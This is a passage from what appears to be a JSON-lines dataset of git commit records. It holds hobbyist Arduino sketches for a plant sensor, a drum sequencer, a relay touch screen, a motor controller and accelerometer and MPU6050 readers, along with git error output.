delay(5000);\n }\n }\n}\n\nvoid measure(){\n airtemp = dht.readTemperature();\n humidity = dht.readHumidity();\n}\n\nvoid msgString(float f){\n uint8_t h = floor(f); \n uint8_t l = (f - h) * pow(10, 2);\n snprintf (msg, sizeof(msg), \"%d.%02d\", h, l); \n}\n\nvoid sendMessage(){ \n msgString(airtemp + TEMP_DELTA);\n mqtt.publish(\"livingroom\/plant\/airtemp\", msg); \n msgString(humidity);\n mqtt.publish(\"livingroom\/plant\/humidity\", msg); \n msgString(highwatermark);\n mqtt.publish(\"livingroom\/plant\/waterlevelhigh\", msg); \n msgString(lowwatermark);\n mqtt.publish(\"livingroom\/plant\/waterlevellow\", msg);\n msgString(soil);\n mqtt.publish(\"livingroom\/plant\/soil\", msg); \n}\n\nvoid loop() {\n yield();\n mqttConnector();\n yield();\n mqtt.loop();\n yield();\n counter++;\n yield();\n if(counter > 1000){\n \/\/measure();\n yield();\n sendMessage();\n counter = 0;\n }\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'knot\/arduino\/plant.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"43f5927bdccfc202ad1c3b2f3c8137d9673c75c5","subject":"Add drum sequencer example","message":"Add drum sequencer example\n","repos":"DhrBaksteen\/ArduinoOPL2,DhrBaksteen\/ArduinoOPL2,DhrBaksteen\/ArduinoOPL2","old_file":"examples\/OPL3Duo\/DrumSequencer\/DrumSequencer.ino","new_file":"examples\/OPL3Duo\/DrumSequencer\/DrumSequencer.ino","new_contents":"\/**\n * This is a demonstration sketch for the OPL3 Duo! It implements a simple 16-step drum sequencer using 4-operator drum\n * instruments.\n *\n * Code by Maarten Janssen, 2021-01-18\n * WWW.CHEERFUL.NL\n * Most recent version of the library can be found at my GitHub: https:\/\/github.com\/DhrBaksteen\/ArduinoOPL2\n *\/\n\n#include <OPL3Duo.h>\n#include <midi_drums_4op.h>\n\nstruct Pattern {\n\tInstrument4OP instrument;\n\tbool isPlaying;\n\tbyte steps[16];\n};\n\nOPL3Duo opl3Duo;\n\n\/\/ Setup a demo sequence.\n\/\/ A sequence consists of 12 Patterns. Each pattern can have its own instrument, a boolean to indicate whether the\n\/\/ pattern is to be played and an array of 16 bytes where a value other than 0 indicates that there should be a drum\n\/\/sound playing at that step in the sequence.\n\nconst byte BPM = 110;\nPattern sequence[OPL3DUO_NUM_4OP_CHANNELS] = {\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), true, { 1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_SNARE_AC), true, { 0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_CLAP), true, { 0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_HIHAT_CL), true, { 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_LO_WDBLK), true, { 0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_HI_WDBLK), true, { 1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_HI_AGOGO), true, { 1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_LO_AGOGO), true, { 0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\t{ opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }}\n};\n\n\n\/\/const byte BPM = 90;\n\/\/Pattern sequence[OPL3DUO_NUM_4OP_CHANNELS] = {\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), true, { 1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), true, { 1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), true, { 1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR2), true, { 1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_TAIKO), true, { 1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_SNARE_AC), true, { 1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }},\n\/\/ { opl3Duo.loadInstrument4OP(DRUMINS_BASS_DR1), false, { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }}\n\/\/};\n\n\nunsigned long tTick = 60000 \/ (BPM * 4);\nbyte step = 0;\n\nvoid setup() { \n\topl3Duo.begin();\n\topl3Duo.setOPL3Enabled(true);\n\topl3Duo.setAll4OPChannelsEnabled(true);\n\n\t\/\/ Assign instruments to all channels.\n\tfor (byte i = 0; i < OPL3DUO_NUM_4OP_CHANNELS; i ++) {\n\t\topl3Duo.setInstrument4OP(i, sequence[i].instrument);\n\t}\n}\n\n\nvoid loop() {\n\tunsigned long t = millis();\n\n\tfor (byte i = 0; i < OPL3DUO_NUM_4OP_CHANNELS; i ++) {\n\t\tif (sequence[i].isPlaying && sequence[i].steps[step]) {\n\t\t\tbyte note = sequence[i].instrument.subInstrument[0].transpose;\n\t\t\tbyte octave = note \/ 12;\n\t\t\tnote = note % 12;\n\n\t\t\tbyte ch4op = opl3Duo.get4OPControlChannel(i);\n\t\t\topl3Duo.playNote(ch4op, octave, note);\n\t\t}\n\t}\n\n\tstep = (step + 1) % 16;\n\tdelay(tTick - (millis() - t));\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OPL3Duo\/DrumSequencer\/DrumSequencer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"061a5280677ebe4a5c96f76174724d6c24f72ba1","subject":"Update ramdemo.ino","message":"Update ramdemo.ino","repos":"kaaLabs15\/mcp7940","old_file":"examples\/ramdemo\/ramdemo.ino","new_file":"examples\/ramdemo\/ramdemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kaaLabs15\/mcp7940.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"47c96b6dfc7c9a1bd178bc4fcc7af1cf9298a5df","subject":"Fixing","message":"Fixing\n","repos":"Bakpakr\/Relay-Box","old_file":"Touch_Screen\/Touch_Screen.ino","new_file":"Touch_Screen\/Touch_Screen.ino","new_contents":"\/* This is my Sketch for the Touch Screen interface for the relay box that will be installed in my Jeep\n Robert L. Wardecker\n cna2rn@gmail.com\n \n This code is in public domain. \n\nAttribution \u2014 You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\nNonCommercial \u2014 You may not use the material for commercial purposes.\n\nShareAlike \u2014 If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. \n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material. \n*\/\n\n#include <SoftwareSerial.h>\n#include <Nextion.h>\n\n\n\nconst int relayaPin = 52;\nconst int relaybPin = 53;\nconst int relaycPin = 50;\nconst int relaydPin = 51;\n\n\nSoftwareSerial nextion(10, 11);\/\/ Nextion TX to pin 10 and RX to pin 11 of Arduino\n\nNextion myNextion(nextion, 9600); \/\/create a Nextion object named myNextion using the nextion serial port @ 9600bps\n\nboolean button1State;\nboolean button2State;\nboolean button3State;\nboolean button4State;\nboolean button5State;\n\n\nvoid setup() {\n\n Serial.begin(9600);\n myNextion.init(); \/\/ send the initialization commands for Page 0\n\n pinMode(relayaPin, OUTPUT);\n pinMode(relaybPin, OUTPUT);\n pinMode(relaycPin, OUTPUT);\n pinMode(relaydPin, OUTPUT);\n\n}\n\nvoid loop() {\n\n String message = myNextion.listen(); \/\/check for message\n\n \/\/52\" Lightbar\n if (message == \"65 0 1 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button1State, \"b0\", 0, 2);\n\n if (button1State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relayaPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relayaPin, LOW);\n }\n }\n\n \/\/6\" Pods\n if (message == \"65 0 2 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button2State, \"b1\", 0, 2);\n if (button2State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaybPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaybPin, LOW);\n }\n }\n\n \/\/Fender Pods\n if (message == \"65 0 3 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button3State, \"b2\", 0, 2);\n if (button3State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaycPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaycPin, LOW);\n }\n }\n\n \/\/Rock Lights\n if (message == \"65 0 4 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button4State, \"b3\", 0, 2);\n if (button4State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaydPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaydPin, LOW);\n }\n }\n\n \/\/All On\n if (message == \"65 0 5 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button5State, \"b4\", 0, 2);\n\n if (button5State == HIGH) {\n digitalWrite(relayaPin, HIGH);\n digitalWrite(relaybPin, HIGH);\n digitalWrite(relaycPin, HIGH);\n digitalWrite(relaydPin, HIGH);\n }\n else {\n digitalWrite(relayaPin, LOW);\n digitalWrite(relaybPin, LOW);\n digitalWrite(relaycPin, LOW);\n digitalWrite(relaydPin, LOW);\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Touch_Screen\/Touch_Screen.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"6e7e2499d49b4e740b84d0f55c1e1bf026fafdb4","subject":"Rename to be used with ide","message":"Rename to be used with ide\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/Sabertooth\/src\/src.ino","new_file":"Arduino\/Sabertooth\/src\/src.ino","new_contents":"\n\/\/ Copyright (c) 2013 Nautilabs\n\/\/ https:\/\/github.com\/baptistelabat\/robokite\n\n\/\/ This file used SoftwareSerial example (Copyright (c) 2012 Dimension Engineering LLC) for Sabertooth http:\/\/www.dimensionengineering.com\/software\/SabertoothSimplifiedArduinoLibrary\/html\/index.html\n\/\/ See license.txt in the Sabertooth arduino library for license details.\n\/\/ It is as well derived from HBridgePWM.ino from robokite project\n\/\/ http:\/\/code.google.com\/p\/robokite\/source\/browse\/HBridgePWM\/HBridgePWM.ino\n\/\/ The selector 1 3 5 6 have to be on on.\n#include <SoftwareSerial.h>\n#include <SabertoothSimplified.h>\n#include <TinyGPS++.h>\n#include <PID_v1.h>\n\nSoftwareSerial SWSerial(NOT_A_PIN, 8); \/\/ RX on no pin (unused), TX on pin 11 (to S1).\nSabertoothSimplified ST(SWSerial); \/\/ Use SWSerial as the serial port.\n\nconst int analogInPin = A0; \/\/ Analog input pin that the potentiometer is attached to\n\nint sensorValue = 0; \/\/ Value read from the potentiometer\nint initialSensorValue = 0;\ndouble alphaSigned1 = 0;\ndouble alphaSigned2 = 0;\nString inputString = \"\"; \/\/ A string to hold incoming data\nboolean stringComplete = false; \/\/ Whether the string is complete\nboolean isSerialControl = true; \nboolean isManualControl = false;\n\/\/ Read the analog in value\n\/\/ The range was reduced \ndouble sensorValueMin = 200;\/\/0\ndouble sensorValueMax = 800;\/\/1023\ndouble deadBand = 0.1; \/\/ Use to ensure zero speed. Should not be zero\ndouble serialFrequency = 1;\nlong lastSerialInputTime = 0;\nlong lastWriteTime = 0;\n\nTinyGPSPlus nmea;\n\/\/ O stands for Opensource, R for Robokite\n\/\/ The index is the place of the field in the NMEA message\nTinyGPSCustom pwm1 (nmea, \"ORPW1\", 1); \/\/ Dimentionless voltage setpoint (Pulse Width Modulation) for Sabertooth output 1\nTinyGPSCustom pwm2 (nmea, \"ORPW2\", 1); \/\/ Dimentionless voltage setpoint (Pulse Width Modulation) for Sabertooth output 2\nTinyGPSCustom setss1 (nmea, \"ORSS1\", 1); \/\/ Set speed for Sabertooth output 1\nTinyGPSCustom setss2 (nmea, \"ORSS2\", 1); \/\/ Set speed for Sabertooth output 2\nTinyGPSCustom setpos1 (nmea, \"ORSP1\", 1); \/\/ Position setpoint for Sabertooth output 1\nTinyGPSCustom setpos2 (nmea, \"ORSP2\", 1); \/\/ Position setpoint for Sabertooth output 2\nTinyGPSCustom roll (nmea, \"ORKST\", 1); \/\/ Kite STate roll (rotation in camera frame)\nTinyGPSCustom elevation(nmea, \"ORKST\", 2); \/\/ Kite STate elevation\nTinyGPSCustom bearing (nmea, \"ORKST\", 3); \/\/ Kite STate bearing\nTinyGPSCustom kpm (nmea, \"ORKPM\", 1); \/\/ Proportional coefficient multiplicator\nTinyGPSCustom kim\t (nmea, \"ORKIM\", 1); \/\/ Integral coefficient multiplicator\nTinyGPSCustom kdm (nmea, \"ORKDM\", 1); \/\/ Derivative coefficient multiplicator\n\n\/\/Define Variables we'll be connecting to\ndouble Setpoint, Input, Output;\n\n\/\/Specify the links and initial tuning parameters (Kp, Ki, Kd)\nPID myPID(&Input, &Output, &Setpoint, 1, 1, 1, DIRECT);\n\nvoid setup()\n{\n \/\/ Initialize software serial communication with Sabertooth \n SWSerial.begin(9600);\n \/\/ Initialize serial communications at 9600 bps:\n Serial.begin(19200);\n Input = 0;\n Setpoint = 0;\n \/\/turn the PID on\n myPID.SetMode(AUTOMATIC);\n myPID.SetOutputLimits(-50, 50);\n}\n\nvoid serialEvent() {\n\n inputString=\"\";\n Serial.flush();\n while (Serial.available()) {\n \/\/ Get the new byte:\n char inChar = (char)Serial.read();\n \/\/ Add it to the inputString:\n inputString += inChar;\n \/\/ If the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n if (inputString[0] == 'i')\n {\n Serial.flush();\n isSerialControl = true;\n initialSensorValue = analogRead(analogInPin);\/\/ Read the joystick position to overide if joystick is moved\n if (inputString.substring(1)==\"\")\n {\n serialFrequency = 0;\n }\n else\n { \n serialFrequency = StrToFloat(inputString.substring(1));\n } \n }\n else\n {\n if (inputString == \"o\")\n {\n isSerialControl = false;\n }\n else\n {\n char c[50];\n inputString.toCharArray(c, 50);\n char *gpsStream = c;\n while (*gpsStream)\n if (nmea.encode(*gpsStream++))\n { \n alphaSigned1 = StrToFloat(pwm1.value());\n alphaSigned2 = StrToFloat(pwm2.value());\n Input = StrToFloat(elevation.value()); \n lastSerialInputTime = millis();\n myPID.SetTunings(kpm, kim, kdm);\n }\n }\n } \n}\n\n\nvoid loop()\n{\n myPID.Compute();\n int power1, power2;\n sensorValue = analogRead(analogInPin);\n setMode();\n \/\/alphaSigned=Output\/127.0;\n computeAlphaSigned();\n power1 = alphaSigned1*127;\n power2 = alphaSigned2*127;\n ST.motor(1, power1);\n ST.motor(2, power2);\n delay(10);\n if (millis()-lastWriteTime>100)\n {\n lastWriteTime = millis();\n \n Serial.print(power1);\n Serial.print(\" \");\n Serial.println(power2);\n if (isSerialControl)\n {\n \/\/Serial.println(\"S\");\n }\n else\n {\n if (isManualControl)\n {\n \/\/Serial.println(\"M\");\n }\n }\n\n }\n Serial.flush();\n}\n\nvoid setMode()\n{ \n \/\/ If the analog value is changed, it means that the user wants to take control with the joystick\n \/\/ so fallback to joystick control\n if (fabs(initialSensorValue-sensorValue) > 10)\n {\n isSerialControl = false;\n }\n\n \/\/ Fallback to manual control if the analog voltage is close to zero (probably unplugged)\n \/\/ Place after hardware limit if possible\n \/\/ This avoids to go to full speed if one cable in the potentiometer is unplugged\n \/\/ Warning: if the midle cable of the potentiometer is unplugged, the signal is free, and the fault can not be detected\n \/\/ \\todo invert polarity to be able to detect floating pin.\n isManualControl = false;\/\/(sensorValue < 5)|(sensorValue >1023-5);\n}\n\nfloat StrToFloat(String str){\n char carray[str.length() + 1]; \/\/ Determine the size of the array\n str.toCharArray(carray, sizeof(carray)); \/\/ Put str into an array\n return atof(carray);\n}\n\nvoid computeAlphaSigned()\n{\n if (serialFrequency != 0)\n { \/\/ Fallbacks to zero as we received no message in the expected time (twice the time)\n if ((millis()-lastSerialInputTime) > 2*1\/serialFrequency*1000)\n {\n alphaSigned1 = 0;\n alphaSigned2 = 0;\n }\n }\n\n \/\/ If not in Serial control overwrite the value \n if (false == isSerialControl)\n {\n \/\/ Compute the value corresponding to the deadband\n double sensorDeadBandMax = sensorValueMin + (deadBand\/2.0+0.5)*(sensorValueMax - sensorValueMin);\n double sensorDeadBandMin = sensorValueMin + (-deadBand\/2.0+0.5)*(sensorValueMax - sensorValueMin);\n if (sensorValue < sensorDeadBandMin) \/\/strictly to avoid alphaSigned equals zero\n {\n alphaSigned1 = (sensorValue-sensorValueMin)\/(sensorDeadBandMax - sensorValueMin)-1;\n alphaSigned2 = 0;\n } \n else\n {\n if (sensorValue > sensorDeadBandMax)\n {\n alphaSigned1 = (sensorValue-sensorDeadBandMax)\/(sensorValueMax - sensorDeadBandMax);\n alphaSigned2 = 0;\n }\n else\n {\n alphaSigned1 = 0;\n alphaSigned2 = 0;\n }\n }\n if (isManualControl)\n {\n alphaSigned1 = 0;\n alphaSigned2 = 0;\n }\n }\n alphaSigned1 = min(1, max(-1, alphaSigned1));\n alphaSigned2 = min(1, max(-1, alphaSigned2));\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Sabertooth\/src\/src.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73bf413d00f1a5db146c543a8a5fb520b6ed7c35","subject":"Dat code yo","message":"Dat code yo\n","repos":"rit-sse\/holo-desk,rit-sse\/holo-desk,rit-sse\/holo-desk,rit-sse\/holo-desk","old_file":"accelerometer.ino","new_file":"accelerometer.ino","new_contents":"#include <Wire.h>\n#define accel_module (0x53)\n#define xyzregister (0x32)\n\nbyte values[6] ;\nchar output[512];\nbyte base[3];\nbyte reading[3];\n\nvoid setup(){\n Wire.begin();\n Serial.begin(9600);\n Wire.beginTransmission(accel_module);\n Wire.write(0x2D);\n Wire.write(0);\n Wire.endTransmission();\n Wire.beginTransmission(accel_module);\n Wire.write(0x2D);\n Wire.write(16);\n Wire.endTransmission();\n Wire.beginTransmission(accel_module);\n Wire.write(0x2D);\n Wire.write(8);\n Wire.endTransmission();\n delay(200);\n readAccel();\n base[0] = reading[0];\n base[1] = reading[1];\n base[2] = reading[2];\n}\n\nvoid loop(){\n readAccel();\n int diff = abs(base[0]-reading[0]) + abs(base[1]-reading[1]) + abs(base[2]-reading[2]);\n if (diff > 30) {\n sprintf(output, \"%d %d %d\", reading[0],reading[1] ,reading[2]);\n Serial.print(output);\n Serial.write(10);\n \/\/This is where we can change the interval\n delay(200);\n }\n}\n\nvoid readAccel() {\n Wire.beginTransmission(accel_module);\n Wire.write(xyzregister);\n Wire.endTransmission();\n Wire.beginTransmission(accel_module);\n Wire.requestFrom(accel_module, 6);\n int i = 0;\n while(Wire.available()){\n values[i] = Wire.read();\n i++;\n }\n Wire.endTransmission();\n reading[0] = (((int)values[1]) << 8) | values[0];\n reading[1] = (((int)values[3]) << 8) | values[2];\n reading[2] = (((int)values[5]) << 8) | values[4];\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'accelerometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc0c7a6d42e775ca72fcca7b5ac0edb02d1327ba","subject":"Fixed steering compensation","message":"Fixed steering compensation\n","repos":"Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost","old_file":"Arduino\/Ghost\/Ghost.ino","new_file":"Arduino\/Ghost\/Ghost.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Scalpel78\/Ghost.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7aef36b5f50da1b628aa8b9870190015b1120ca2","subject":"fixed sizeof things to calculate elements, etc","message":"fixed sizeof things to calculate elements, etc","repos":"cmuartfab\/chip-party","old_file":"Teensy-MIDI\/Arduino Sketch\/teensy3.2_midi_IO_04\/teensy3.2_midi_IO_04.ino","new_file":"Teensy-MIDI\/Arduino Sketch\/teensy3.2_midi_IO_04\/teensy3.2_midi_IO_04.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Teensy-MIDI\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketch\/teensy3.2_midi_IO_04\/teensy3.2_midi_IO_04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6887c0fe66526861cfaf4389b139aea54ff03619","subject":"Added Servo Objects","message":"Added Servo Objects\n","repos":"wzschoche\/Titan-Rover,awwdang\/Titan-Rover,wzschoche\/Titan-Rover,awwdang\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Traction Control\/ESC_Tach_Test\/ESC_Tach_Test.ino","new_file":"Traction Control\/ESC_Tach_Test\/ESC_Tach_Test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Traction' did not match any file(s) known to git\nerror: pathspec 'Control\/ESC_Tach_Test\/ESC_Tach_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ae81c4ca5e71587b98904495e18e7cbc4257214c","subject":"Parachute Altitude \/ More GPS Telem","message":"Parachute Altitude \/ More GPS Telem\n\nAdded altitude constraints for parachute deployment as well as more GPS\nparameters to the telemetry.\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e4c6cfe6fab2b82d720ae66cca5c79f785b06ff4","subject":"Added a level sensor to test tilt using the MPU6050","message":"Added a level sensor to test tilt using the MPU6050\n","repos":"mccarts3\/MPU6050-Processing,mccarts3\/MPU6050-Processing,mccarts3\/MPU6050-Processing","old_file":"CreatedCode\/Arduino\/LevelerSensor\/LevelerSensor.ino","new_file":"CreatedCode\/Arduino\/LevelerSensor\/LevelerSensor.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n\/* =========================================================================\n NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error\n when using Serial.write(buf, len). The Teapot output uses this method.\n The solution requires a modification to the Arduino USBAPI.h file, which\n is fortunately simple, but annoying. This will be fixed in the next IDE\n release. For more info, see these links:\n\n http:\/\/arduino.cc\/forum\/index.php\/topic,109987.0.html\n http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=958\n * ========================================================================= *\/\n\n\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\n#define calibrateCount 1250\nbool blinkState = false;\nint tilted = 12; \/\/ Red LED\nint moving = 11; \/\/ Yellow LED\nint level = 10; \/\/ Green LED\nint count = 0; \/\/ Counts to a number while calibrating sensor (10 secs)\nint refX, refY, refZ; \/\/ Reference value after calibration\nint dx, dy, dz, tempx, tempy, tempz;\nint accelX, accelY, accelZ;\nbool setRef = false; \/\/ false until reference values are set\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(57600);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n 